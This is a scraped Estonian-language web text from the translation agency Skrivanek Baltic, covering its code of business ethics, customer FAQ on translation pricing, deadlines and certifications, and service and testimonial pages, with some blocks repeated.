usaldusväärse tööandja, koostööpartneri ja valdkonna esindaja positsiooni. Teeme pikaajalist koostööd koosseisuliste ja lepinguliste töötajate (edaspidi „keelespetsialistid“), klientide, tarnijate ja teiste koostööpartneritega. Täiustame ja arendame pidevalt oma keeleõppe- ja tõlketeenuseid ning teisi keelte omandamise või tekstide loomisega seotud valdkondade teenuseid. Teame, et meie töötajad ja keelespetsialistid on meie suurim väärtus. Seetõttu tagame töökeskkonnas avatuse, avameelsuse ja lugupidamise. Meie ettevõtte kõik töötajad ja keelespetsialistid vastutavad ühiskonnas ettevõtte maine ja tööandja kuvandi eest. Käesoleva eetikakoodeksi eesmärk on määrata selgelt kindlaks meie töö- ja ärieetika põhimõtted, millest me oma tegevuses lähtume. Antud koodeks on loodud selleks, et meie tegevuse põhimõtted oleksid ühtviisi teada nii meie keelespetsialistidele kui ka koostööpartneritele. Eetikakoodeksis ei käsitleta absoluutselt kõiki küsimusi, mis võivad tekkida. Usume, et Skrivanek Balticu huve esindavad töötajad ja keelespetsialistid lähtuvad siin kirjeldamata küsimustes otsuseid vastu võttes seadustest ning meie kolmest põhiväärtusest – vastutustundest, usaldusväärsusest ja aususest – ning pöörduvad ebaselgete küsimuste korral nõu saamiseks Skrivanek Balticu juhtkonna poole. Eetikakoodeks kehtib ühtviisi nii ettevõtte juhtkonnale kui ka kõigile töötajatele ja keelespetsialistidele. Selle koodeksi põhimõtteid järgitakse ka meie igapäevases äritegevuses ning klientide, tarnijate ja partneritega koostööd tehes. Järgime oma tegevuses kohalikke äritegevust reguleerivaid õigusakte, ausaid äritavasid, tööõigusakte, andme- ja töökaitsealaseid standardeid, maksuseadusi ja muid äritegevusega seotud dokumente. Esitame tõest teavet oma finantstegevuse kohta, seisame korruptsiooni vastu ning leiame, et mis tahes põhjendamatud maksed ja kingitused on lubamatud. Me toetame ausat konkurentsi. Skrivanek Baltic püüab teha kõik võimaliku, et ettevõtte juhtkond, töötajad, keelespetsialistid ja koostööpartnerid järgiksid kõnealuseid õigusakte, standardeid ja põhimõtteid. Peame lugu ka kohalikest kultuuritraditsioonidest ja järgime neid, välja arvatud juhul, kui need on vastuolus õigusaktidega – sel juhul on ülimuslikul kohal õigusaktid. Meie keelespetsialistid töötavad Skrivanek Balticu huvides. Meie tööd hinnatakse selle järgi, kui vastutustundlikud ja klienditeeninduse kvaliteedile pühendunud on meie töötajad ja keelespetsialistid. Julgustame oma töötajaid ja keelespetsialiste kaitsma oma seisukohta. Eriti puudutab see põhjendamatuid nõudmisi või lubamatuid tegevusi Skrivanek Balticu või selle klientide ja koostööpartnerite poolt. Töötajaid ja keelespetsialiste kutsutakse üles väljendama oma kahtlusi või hirme seoses võimaliku kuritahtliku, ebaeetilise või muu vastuvõetamatu tegevusega ja teatama sellest Skrivanek Balticu juhtkonnale, kelle ülesanne on asi läbi vaadata ning vajadusel uurida ja rakendada asjakohaseid meetmeid, sõltumata sellest, kes on asjaosalised. Oleme uhked oma töökeskkonna üle. Peame kinni inimõigustest ja aitame kaasa nende tunnustamisele. Suhtume lugupidavalt erinevatesse arvamustesse, sealhulgas usulistes, poliitilistes, etnilistes ja sugude võrdsust puudutavates küsimustes. See, et meie töötajad on erinevad ning neil on erinevad seisukohad ja veendumused, aitab meil olla loov ettevõte ja edukalt areneda. Mis tahes negatiivne, agressiivne või diskrimineeriv suhtumine töötajatesse, keelespetsialistidesse, klientidesse või koostööpartneritesse on lubamatu. Töötajate ja keelespetsialistide värbamisel ning nende oskuste arendamisel ja täiustamisel lähtutakse võrdsuse põhimõttest. Nende kvalifikatsioon ja töö kvaliteet peavad aga vastama esitatud nõuetele. Julgustame töötajaid ja keelespetsialiste pidama avatud dialoogi küsimustes, mille lahendamiseks on vaja nõu või tuge. Samuti kutsume üles tegema oma ettepanekuid äri arendamise ning omavahelise suhtluse ja osutatavate teenuste kvaliteedi parandamiseks. Soovime, et meie kliendid usaldaksid meid, seetõttu teeme pidevalt tööd enda arendamise ja täiustamise nimel, osutades kvaliteetseid teenuseid ja käies ajaga kaasas. Oleme oma klientide ees vastutavad ning kasutame kvaliteedijuhtimise süsteeme, mida korrapäraselt läbi vaatame ja parandame vastavalt keeleteenuste valdkonna nõuetele. Me ei peta oma kliente osutatud teenuste osas. Kvaliteedialaste küsimuste ilmnemisel uurime neid ja teeme vastavad korrektiivid. Huvide konflikti korral peavad töötajad ja keelespetsialistid teenuse osutamist mõjutada võivast olukorrast kohe teavitama vastavat projektijuhti või Skrivanek Balticu juhtkonda. Juhtkond vaatab sellised juhtumid vastavalt olukorra prioriteetsusele läbi ning rakendab kliendi ja Skrivanek Balticu huvide kaitsmiseks vajalikke meetmeid. Keelespetsialist on samuti kohustatud kohe teavitama vastavat projektijuhti, kui tal puudub vajalik teave või vahendid teenuse kvaliteedi tagamiseks ja töö õigeaegseks valmimiseks. Julgustame keelespetsialiste avaldama oma ideid ja tegema ettepanekuid teenuste kvaliteedi tagamiseks ja paremaks muutmiseks. Meie teenuste turundus- ja müügistrateegia põhineb tõese teabe esitamisel. Me ei kasuta oma reklaamis solvavat ega vaenulikku suhtlust. Hoolime oma klientidest ning peame seetõttu oma kõige suuremaks saavutuseks klientide positiivset tagasisidet ja soovitusi. Järgime oma klientide andmekaitsealaseid põhimõtteid. Andmete ja teabe kaitsmine on ajakohane küsimus. Skrivanek Baltic suhtub ausalt ja vastutustundlikult teabesse, mille keelespetsialistid, kliendid ja teised koostööpartnerid on ettevõttele usaldanud, ning järgib andmekaitset käsitlevate õigusaktide nõudeid. Meie töötajad ja keelespetsialistid järgivad konfidentsiaalsust mis tahes klientide dokumentide ja materjalide suhtes, kui vastav teave ei ole avalik. Skrivanek Baltic ei säilita teavet, mida ettevõte ei vaja tellimuse täitmiseks, ning hoolitseb sisemiste arvutisüsteemide ja küberturvalisuse eest. Koos suudame rohkem. Meie koostöö tarnijatega on osa pikaajalistest ärisuhetest, seetõttu valime me neid hoolikalt ning võtame arvesse nende mainet, vastutustundlikku äritegevust ja soovi teha koostööd ka tulevikus. Oleme koostööpartnerite valimise kriteeriumide suhtes avatud ning oleme valmis andma rohkem teavet ka neile tarnijatele, kes ei ole sellistele kriteeriumidele vastanud. Samuti oleme avatud võimaliku huvide konflikti korral, kuna see võib saada koostööst keeldumise põhjuseks. Skrivanek Baltic teeb kõik maksed väljastatud maksedokumentide alusel ning suhtub vastutustundlikult oma koostööpartneritele tehtavatesse maksetesse. Kui teenuse või kauba tellimuse summa ületab 500 eurot, peab tellimus olema vormistatud kirjalikult. Me suhtume nõuetekohase hoolega koostööpartnerite konfidentsiaalsesse teabesse, mis on saanud ettevõttele koostöö käigus teatavaks, ning järgime konfidentsiaalsuse põhimõtteid, mis on poolte vahel kokku lepitud. Skrivanek Balticu juhtkond ja keelespetsialistid võivad vastu võtta ja teha väikeseid sümboolseid kingitusi, kui need on otseselt seotud Skrivanek Balticu ärihuvidega ega riku õigusaktide sätteid. Lubatud on osaleda Skrivanek Balticu äritegevusega seotud söömaaegadel ning ärisuhete hoidmise ja arendamisega seotud üritustel, näiteks konverentsidel ja seminaridel. Kingitused ei tohi olla rahalised. Meie töötajad ja keelespetsialistid ei võta Skrivanek Balticu huvides töötamise ajal koostööpartneritelt vastu kutseid kallitesse restoranidesse ja meelelahutuskohtadesse, samuti muid kalleid kingitusi, sealhulgas raha ega kinkekaarte. Kallid kingitused tuleb kinkijale kohe tagasi anda, mainides selgitusena Skrivanek Balticu eetikakoodeksi rikkumist. Kui kingitust ei saa mingil põhjusel kinkijale tagasi anda, siis tuleb see anda Skrivanek Balticu juhtkonnale, kes kasutab kingitust heategevuseks. Skrivanek Balticu keelespetsialistid kasutavad ettevõtte ressursse, sh intellektuaalomandit, ettevõtte kasuks, mitte oma erahuvides. Hooletu ja lohakas suhtumine ning ressursside raiskamine või varastamine mõjutavad otseselt Skrivanek Balticu finantsseisundit ning seda ei toetata, vaid selle eest võidakse vastavalt õigusaktidele ka karistada. Teeme koostööd riigiasutuste ja valitsusega ning oleme oma valdkonna esindajad. Valdkonna esindajatena võtame osa ka ühiskondlike küsimuste arutamisest. Skrivanek Baltic ei toeta poliitilisi parteisid, konkreetseid poliitikuid, poliitilisi ega usulisi liikumisi ega organisatsioone ei rahaliselt ega mis tahes muul viisil. Skrivanek Baltic järgib ja peab lugu oma töötajate ja keelespetsialistide isiklikust valikust väljendada oma poliitilisi või usulisi tõekspidamisi ning neid isiklikult toetada, kui seda ei tehta ettevõtte nimel. Töökeskkonda ja ettevõtte ressursse ei tohi kasutada isikliku tugiplatvormina. Töötajad ja keelespetsialistid peavad oma individuaalse toetuse avaldamisel järgima õigusaktides sätestatud korda. Tegevused, mida võib pidada ebaseaduslikuks või mis võivad tekitada korruptsioonikahtlusi, ei ole lubatud. Skrivanek Baltic toetab läbipaistvat, professionaalselt ja rahaliselt põhjendatud osalemist heategevus-, kultuuri- ja teiste üritustel. Sellise toetuse alus peab selle suurusest sõltumata olema selge plaan, kuidas ettevõte võib kõnealust koostööd pikaajaliselt arendada ja kas sellel on pikas perspektiivis positiivne ühiskondlik mõju. Skrivanek Baltic suhtub keskkonda lugupidavalt. Mõtleme sellele, et igasugune käitumine mõjutab keskkonda ning kõik meie töötajad ja keelespetsialistid saavad aidata kaasa loodusressursside vastutustundlikule kasutamisele. Mõtleme, kuidas saab materjale korduskasutada, sortida, ümber töödelda ja vastutustundlikult kõrvaldada. Olukorda võib aidata parandada igasugune, ka väikesemahuline tegevus, näiteks tulede kustutamine kontorist lahkumisel. Me ettevõtet võivad avalikes meediakanalites või üritustel esindada ainult meie ettevõtte juhid või nende volitatud isikud. Skrivanek Balticu juhid esindavad ettevõtte huve ning neil on lisavastutus olla eeskujuks eetilise käitumise valdkonnas ja seda ettevõttes toetada. Meie juhtide ülesanne on toetada töötajaid ja keelespetsialiste, andes vastuseid eetikaküsimustes ning toetades avatust ja usaldust. Skrivanek Balticu juhid ei anna mingil juhul otseseid ega kaudseid juhiseid eetikakoodeksi rikkumiseks või eiramiseks, samuti ei soodusta nad seda. Meie juhid on kohustatud pühendama oma aega mis tahes eetikaküsimuste läbivaatamisele, samuti eetikakoodeksi selgitamisele uutele töötajatele. Juhid toetavad töötajate ja keelespetsialistide eetilist tegevust ning on neile kättesaadavad küsimuste ja ebaselguste korral, et aidata leida vastuseid ja lahendusi. --- > Korduma kippuvad küsimused ja vastused Skrivaneki Baltic keeleteenuste pakkuja kohta. Ei leidnud vastust küsimusele? Võtke meiega ühendust! - Published: 2022-05-10 - Modified: 2024-08-13 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional Skrivanek Baltic on sertifitseeritud tõlkebüroo, mis on tegutsenud ja pakkunud erinevaid kõrgeima kvaliteediga keelelahendusi Lätis alates 2003. aastast ja Eestis alates 2004. aastast. Skrivanek on üks maailma suurimatest keelelahenduste pakkujatest, omades üle 25 aasta pikkust kogemust. Praegu on meil ligi 50 harukontorit erinevates riikides: Austrias, Belgias, Bulgaarias, Eestis, Leedus, Lätis, Poolas, Saksamaal, Slovakkias, Sloveenias, Tšehhi Vabariigis, USAs ja Venemaal. Tõlketeenuste hinnad kujunevad sõltuvalt originaaldokumendi sõnade arvust, keelekombinatsioonist ja muudest teguritest. Saatke meile dokumendid ja me pakume teile enne tõlkimisega alustamist vastava teenuse hinna. Hinnapakkumise eest midagi maksma ei pea ja sellega ei kaasne ka kohustust meiega koostööd teha. Jah, kõigis füüsilistele isikutele mõeldud hinnapakkumistes sisaldub ka käibemaks. Äriklientide puhul tuuakse hinnad välja ilma käibemaksuta, kuna nii on üldiselt tavaks. Kui tegemist on Microsoft Wordi vormingus dokumendiga, kasutage funktsiooni „Word Count“ (Review (Läbivaatus) à Word Count (Sõnaarvestus)). Kui teie dokument on mõnes muus vormingus (väljatrükiversioon, JPG, HTML, PHP, ASP jne), saatke see palun meie e-posti aadressile ja me teeme teile tasuta hinnapakkumise. Tähtajas lepime kokku enne tõlkimisega alustamist. Üldjuhul kulub 500 või vähema sõna tõlkimisele üks täistööpäev ning 1000 ja enama sõna tõlkimisele vähemalt poolteist päeva. Erandjuhtudel pakume ka kiirtõlkeid. See võib olla mis tahes elektroonilises vormingus. Kui teie dokument ei ole elektrooniliselt kättesaadav, saatke meile sellest foto. Tõlgime kõiki tekste mis tahes elektroonilises vormingus, säilitades samas originaaldokumendi kujunduse. Lokaliseerimisteenuste korral järgime kliendi antud konkreetseid juhiseid või tarkvarast tingitud seadeid. Teeksime seda suurima heameelega! Skrivanekil on laialdane kogemus ja pädevus erinevate veebilehtede ning sisuhaldussüsteemide tõlkimise ja lokaliseerimise vallas. Tagame kliendile alati personaalse lähenemise ja leiame sobivaima lahenduse vastavalt teie olukorrale, et jõuda vajalikes keelekombinatsioonides parima tulemuseni. Enamik meie tõlketellimusi tuleb küll juriidilistelt isikutelt, kuid teeme meeleldi koostööd ka füüsiliste isikutega. Füüsilistelt isikutelt saame peamiselt tellimusi notariaalseteks tõlgeteks. Samuti on populaarsed meie keelekursused. Meie meeskond täidab kõik teie soovid. Mõlemad on keeleeksperdid, kuid tõlkija pakub kirjalikke ning tõlk suulisi tõlkeid – kas järel- või sünkroontõlkeid. Vajaduse korral tagame, et kliendi dokumendi tõlgitud versioon näeb välja täpselt samasugune nagu originaaltekst. Samuti saame tõlke oma trükiettevalmistusmeeskonna abil vormindada vastavalt kliendi juhistele. Võimaluse korral töötame originaaldokumentidega elektroonilisel teel, ilma dokumendi stiili ega vormingut muutmata. Meil on olemas standardite ISO 9001, EN 17100, ISO EN 14001, ISO EN 18585 ja 27001 kohased sertifikaadid. Oleme pühendunud konfidentsiaalsusele, võtame vastutuse kõige tehtu eest ja oleme alati ajaliselt täpsed! Standardis EN 17100 on hõlmatud protsessi juhtimise nõuded tõlketeenuste osutajatele. Oma klientide meelerahuks oleme sõlminud erialase kohustuslepingu rahvusvahelise kindlustusettevõtja Colonnade Insurance S. A. Pakume ka notariaalselt kinnitatud tõlkeid või kinnitame need ise. Ei, kõik tõlketellimused võtavad vastu ja vaatavad läbi meie projektijuhid, kes toimivad klienti ja teenuseosutajat ühendava lülina. Skrivanek Balticu tõlkijad ja tõlgid pakuvad tõlketeenuseid rohkem kui 110 keeles. Pakume kirjaliku ja suulise tõlke teenuseid ja suurel hulgal erinevaid keelealaseid lahendusi. Suulisi tõlke saab tellida konverentsidele ja ärikohtumistele ning samuti kohtuistungitele. Kirjaliku tõlke teenus hõlmab erialaseid ja üldiseid tõlkeid väga paljude valdkondade raames. Pakume ka lokaliseerimis –, teksti kohandamise, reklaamtekstide koostamise (copywriting) ja trükiettevalmistusteenuseid ning keeleõpet. Jah, sageli me isegi loome oma koostööpartnerite jaoks eraldi keelespetsialistide meeskonnad, mis tähendab, et kõiki teenuseid osutavad alati samad tõlgid ja tõlkijad, kes on teid juba varem aidanud. Oleme tänulikud tagasiside eest ja kaasame teie tekstide tõlkimisse meeleldi varem osalenud keelespetsialisti. Meie püsiklientidel on ka oma projektijuhid, kes nende tellimustega tegelevad. See oleneb igast üksikjuhust ja teie vajadusest. Vaid teie otsustate, mitu tundi suuline tõlk teiega veetma peaks. Masintõlke kasutamist võib kaaluda juhul, kui tegemist on tekstiga, milles on palju korduvaid lauseid. See tähendab, et teksti tõlkimisel kasutatakse arvutiprogrammi abi. Kuid kuna programm ei ole siiski piisavalt võimekas, et tajuda teksti peeneid tähendusvarjundeid, toimetab teksti seejärel professionaalne tõlkija. Kui tekst on koostatud turundus- või reklaami eesmärgil, ei piisa selle tavapärasest tõlkimisest – enamasti tuleb teksti sisu lokaliseerida ning idioomid ja muud väljendid muuta, tagamaks selle, et teksti mõte on sihtkeele kasutajatele lihtsasti arusaadav. Seetõttu teostatakse tekstide kohandamist, et need vastaksid täielikult sihtkeele kõnelejate nõuetele. Arvutipõhised tõlkevahendid (Computer-Assisted Translation (CAT) tools) on programmid, mille eesmärk on tõlkeprotsessi lihtsustada. Tõlkeabivahendid ei tugine arvutipõhisele ega automaattõlkele, kuid nende abil on võimalik tõlkimisprotsessi kiirendada, tagada terminoloogia järjepidev kasutus, vähendada tõlke hinda ja pakkuda muid eeliseid. Nende vahendite abil salvestatakse ka kõik tõlgitud tekstid, mis tähendab seda, et identseid lauseid peab nüüd ainult üks kord tõlkima. Tõlkeabivahendid on eriti kasulikud finants – ja tehniliste tekstide, samuti meditsiinitoodete kirjelduste, veebilehtede ning tarkvara tõlkimisel. FOCUS on veebipõhine keeleoskuse hindamise vahend, mis võimaldab teil tööle kandideerija keeleoskust põhjalikult ja tõhusalt testida. Testi kirjalik osa sisaldab grammatika, sõnavara ja teksti sisu mõistmise ülesandeid. FOCUS testib ka suulist keeleoskust ning annab seega kandidaadi keeleoskusele täpse ja ülevaatliku hinnangu. Tegemist on värbamisprotsessis väga kasuliku tööriistaga! Kas te ei leidnud oma küsimusele vastust? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati KIRJALIK TÕLGE Pakume kvaliteetseid kirjalikke tõlkeid vajalikes keelekombinatsioonides, tagades konfidentsiaalsuse ja pidades kinni tähtaegadest. Loe edasi SUULINE TÕLGE Pakume igat liiki suulise tõlke teenuseid enam kui 40 keelest koosnevates eri kombinatsioonides. Loe edasi LOKALISEERIMINE Lisaks tõlgete pakkumisele hoolitseme ka selle eest, et lokaliseeritud tooted ja tarkvara hästi toimiksid. Loe edasi KEELEÕPE Pakume praktilist keeleõpet nii eri tasemel teadmistega eraisikutele kui ka ettevõtete ja asutuste töötajatele. Võta ühendust PAKUME KEELELAHENDUSI MITMESUGUSTE VALDKONDADE JAOKS ENAM KUI KOLMESAJAS KEELEKOMBINATSIOONIS Eesti keel Hispaania keel Inglise keel Itaalia keel Kreeka keel Leedu keel Läti keel Norra keel Poola keel Prantsuse keel Rootsi keel Saksa keel Soome keel Taani keel Tšehhi keel Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Meie tõlkijatel on meditsiini-, õigus-, tehnika- ja muude valdkondade kogemus, mis aitab tagada parima tulemuse. ⭐️ - Published: 2022-05-10 - Modified: 2024-10-21 - URL: https://skrivanek.lv/tulkosanas-nozares/ - Translation Priorities: Optional Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Enam kui 25-aastase kogemusega keeleteenuse pakkuja: professionaalsed keeleteenused ettevõtetele ja eraisikutele. Võtke meiega ühendust! - Published: 2022-05-10 - Modified: 2024-10-21 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Võõrkeeled eduka tuleviku tagamiseks Rohkem kui 25 aastat turul! Kirjalikud tõlked Suulised tõlked Lokaliseerimine TEIE TÕLKEBÜROO JA KEELEÕPPEKESKUS SKRIVANEK 1 Skrivanek on üks suuremaid keeleteenuste pakkujaid maailmas, omades keeleteenuste valdkonnas enam kui 25 aasta pikkust kogemust. Praegu on bürool ligi viiskümmend filiaali eri riikides üle kogu maailma. Skrivanek Baltic tegutseb Lätis alates 2003. aastast, pakkudes oma klientidele kvaliteetseid keeleteenuseid. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati PAKUME KEELELAHENDUSI MITMESUGUSTE VALDKONDADE JAOKS ENAM KUI KOLMESAJAS KEELEKOMBINATSIOONIS Eesti keel Hispaania keel Inglise keel Itaalia keel Kreeka keel Leedu keel Läti keel Norra keel Poola keel Prantsuse keel Rootsi keel Saksa keel Soome keel Taani keel Tšehhi keel Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  Küsige hinnapakkumist / Saatke oma küsimus Kuulame teid rõõmuga ära ja töötame välja just teie vajadustele vastava lahenduse! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada Korduma kippuvad küsimused Skrivanek Baltic on sertifitseeritud tõlkebüroo, mis on tegutsenud ja pakkunud erinevaid kõrgeima kvaliteediga keelelahendusi Lätis alates 2003. aastast ja Eestis alates 2004. aastast. Skrivanek on üks maailma suurimatest keelelahenduste pakkujatest, omades üle 25 aasta pikkust kogemust. Praegu on meil ligi 50 harukontorit erinevates riikides: Austrias, Belgias, Bulgaarias, Eestis, Leedus, Lätis, Poolas, Saksamaal, Slovakkias, Sloveenias, Tšehhi Vabariigis, USAs ja Venemaal. Tõlketeenuste hinnad kujunevad sõltuvalt originaaldokumendi sõnade arvust, keelekombinatsioonist ja muudest teguritest. Saatke meile dokumendid ja me pakume teile enne tõlkimisega alustamist vastava teenuse hinna. Hinnapakkumise eest midagi maksma ei pea ja sellega ei kaasne ka kohustust meiega koostööd teha. Jah, kõigis füüsilistele isikutele mõeldud hinnapakkumistes sisaldub ka käibemaks. Äriklientide puhul tuuakse hinnad välja ilma käibemaksuta, kuna nii on üldiselt tavaks. Kui tegemist on Microsoft Wordi vormingus dokumendiga, kasutage funktsiooni „Word Count“ (Review (Läbivaatus) à Word Count (Sõnaarvestus)). Kui teie dokument on mõnes muus vormingus (väljatrükiversioon, JPG, HTML, PHP, ASP jne), saatke see palun meie e-posti aadressile ja me teeme teile tasuta hinnapakkumise. Tähtajas lepime kokku enne tõlkimisega alustamist. Üldjuhul kulub 500 või vähema sõna tõlkimisele üks täistööpäev ning 1000 ja enama sõna tõlkimisele vähemalt poolteist päeva. Erandjuhtudel pakume ka kiirtõlkeid. See võib olla mis tahes elektroonilises vormingus. Kui teie dokument ei ole elektrooniliselt kättesaadav, saatke meile sellest foto. Tõlgime kõiki tekste mis tahes elektroonilises vormingus, säilitades samas originaaldokumendi kujunduse. Lokaliseerimisteenuste korral järgime kliendi antud konkreetseid juhiseid või tarkvarast tingitud seadeid. Teeksime seda suurima heameelega! Skrivanekil on laialdane kogemus ja pädevus erinevate veebilehtede ning sisuhaldussüsteemide tõlkimise ja lokaliseerimise vallas. Tagame kliendile alati personaalse lähenemise ja leiame sobivaima lahenduse vastavalt teie olukorrale, et jõuda vajalikes keelekombinatsioonides parima tulemuseni. Enamik meie tõlketellimusi tuleb küll juriidilistelt isikutelt, kuid teeme meeleldi koostööd ka füüsiliste isikutega. Füüsilistelt isikutelt saame peamiselt tellimusi notariaalseteks tõlgeteks. Samuti on populaarsed meie keelekursused. Meie meeskond täidab kõik teie soovid. Mõlemad on keeleeksperdid, kuid tõlkija pakub kirjalikke ning tõlk suulisi tõlkeid – kas järel- või sünkroontõlkeid. Vajaduse korral tagame, et kliendi dokumendi tõlgitud versioon näeb välja täpselt samasugune nagu originaaltekst. Samuti saame tõlke oma trükiettevalmistusmeeskonna abil vormindada vastavalt kliendi juhistele. Võimaluse korral töötame originaaldokumentidega elektroonilisel teel, ilma dokumendi stiili ega vormingut muutmata. Meil on olemas standardite ISO 9001, EN 17100, ISO EN 14001, ISO EN 18585 ja 27001 kohased sertifikaadid. Oleme pühendunud konfidentsiaalsusele, võtame vastutuse kõige tehtu eest ja oleme alati ajaliselt täpsed! Standardis EN 17100 on hõlmatud protsessi juhtimise nõuded tõlketeenuste osutajatele. Oma klientide meelerahuks oleme sõlminud erialase kohustuslepingu rahvusvahelise kindlustusettevõtja Colonnade Insurance S. A. Pakume ka notariaalselt kinnitatud tõlkeid või kinnitame need ise. Ei, kõik tõlketellimused võtavad vastu ja vaatavad läbi meie projektijuhid, kes toimivad klienti ja teenuseosutajat ühendava lülina. Skrivanek Balticu tõlkijad ja tõlgid pakuvad tõlketeenuseid rohkem kui 110 keeles. Pakume kirjaliku ja suulise tõlke teenuseid ja suurel hulgal erinevaid keelealaseid lahendusi. Suulisi tõlke saab tellida konverentsidele ja ärikohtumistele ning samuti kohtuistungitele. Kirjaliku tõlke teenus hõlmab erialaseid ja üldiseid tõlkeid väga paljude valdkondade raames. Pakume ka lokaliseerimis –, teksti kohandamise, reklaamtekstide koostamise (copywriting) ja trükiettevalmistusteenuseid ning keeleõpet. Jah, sageli me isegi loome oma koostööpartnerite jaoks eraldi keelespetsialistide meeskonnad, mis tähendab, et kõiki teenuseid osutavad alati samad tõlgid ja tõlkijad, kes on teid juba varem aidanud. Oleme tänulikud tagasiside eest ja kaasame teie tekstide tõlkimisse meeleldi varem osalenud keelespetsialisti. Meie püsiklientidel on ka oma projektijuhid, kes nende tellimustega tegelevad. See oleneb igast üksikjuhust ja teie vajadusest. Vaid teie otsustate, mitu tundi suuline tõlk teiega veetma peaks. Masintõlke kasutamist võib kaaluda juhul, kui tegemist on tekstiga, milles on palju korduvaid lauseid. See tähendab, et teksti tõlkimisel kasutatakse arvutiprogrammi abi. Kuid kuna programm ei ole siiski piisavalt võimekas, et tajuda teksti peeneid tähendusvarjundeid, toimetab teksti seejärel professionaalne tõlkija. Kui tekst on koostatud turundus- või reklaami eesmärgil, ei piisa selle tavapärasest tõlkimisest – enamasti tuleb teksti sisu lokaliseerida ning idioomid ja muud väljendid muuta, tagamaks selle, et teksti mõte on sihtkeele kasutajatele lihtsasti arusaadav. Seetõttu teostatakse tekstide kohandamist, et need vastaksid täielikult sihtkeele kõnelejate nõuetele. Arvutipõhised tõlkevahendid (Computer-Assisted Translation (CAT) tools) on programmid, mille eesmärk on 